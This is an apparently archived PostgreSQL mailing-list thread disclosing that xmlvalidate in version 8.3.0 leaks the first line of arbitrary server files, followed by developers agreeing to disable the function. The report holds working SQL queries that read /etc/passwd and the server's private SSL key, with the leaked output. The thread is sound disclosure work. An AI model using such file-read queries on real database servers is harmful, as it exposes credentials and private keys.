bug or not bug, xmlvalidate(xml, text) can read and show one line from file

Hi, all

seb=> select version();
version
--------------------------------------------------------------------------------------------------------------------
PostgreSQL 8.3.0 on x86_64-pc-linux-gnu, compiled by GCC
x86_64-pc-linux-gnu-gcc (GCC) 4.1.2 (Gentoo 4.1.2 p1.0.2)

xmlvalidate(xml, text) trying to read from file and if it is not correct -
notice error with first readed line. it is ok and good, but xmlvalidate can
read from _any_ file what DB process can access for read.

for example:

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '/etc/passwd');
ERROR: could not load DTD
ПОДРОБНО: /etc/passwd:1: parser error : Content error in the external subset
root:x:0:0:root:/root:/bin/bash
^

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/postmaster.opts');
ERROR: could not load DTD
ПОДРОБНО: ../data/postmaster.opts:1: parser error : Content error in the
external subset
/usr/lib64/postgresql-8.3/bin/postgres -D /var/lib/postgresql/8.3/data --silent-
^

first line from private server ssl key :)

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/server.key');
ERROR: could not load DTD
ПОДРОБНО: ../data/server.key:1: parser error : Content error in the external
subset
-----BEGIN RSA PRIVATE KEY-----
^

i don't know is this bug or security issue or not...

Sergey Burladyan <eshkinkot(at)gmail(dot)com> writes:
> [ xmlvalidate is a security hole ]

Given that this function is not documented nor tested in the regression
tests, I propose diking it out entirely.

regards, tom lane

Am Freitag, 29. Februar 2008 schrieb Tom Lane:
> Sergey Burladyan <eshkinkot(at)gmail(dot)com> writes:
> > [ xmlvalidate is a security hole ]
>
> Given that this function is not documented nor tested in the regression
> tests, I propose diking it out entirely.

Yes, it was accidentally left over from previous work. We should have removed
it before the release, but that would have required an initdb.

Peter Eisentraut escribió:
> Am Freitag, 29. Februar 2008 schrieb Tom Lane:
> > Sergey Burladyan <eshkinkot(at)gmail(dot)com> writes:
> > > [ xmlvalidate is a security hole ]
> >
> > Given that this function is not documented nor tested in the regression
> > tests, I propose diking it out entirely.
>
> Yes, it was accidentally left over from previous work. We should have removed
> it before the release, but that would have required an initdb.

So let's change it for a function that elog(ERROR)s on entry.

--
Alvaro Herrera http://www.CommandPrompt.com/
PostgreSQL Replication, Consulting, Custom Development, 24x7 support

Alvaro Herrera <alvherre(at)commandprompt(dot)com> writes:
> Peter Eisentraut escribi:
>> Yes, it was accidentally left over from previous work. We should have removed
>> it before the release, but that would have required an initdb.

> So let's change it for a function that elog(ERROR)s on entry.

Yeah, I was just going to make it throw a "not implemented" error.

regards, tom lane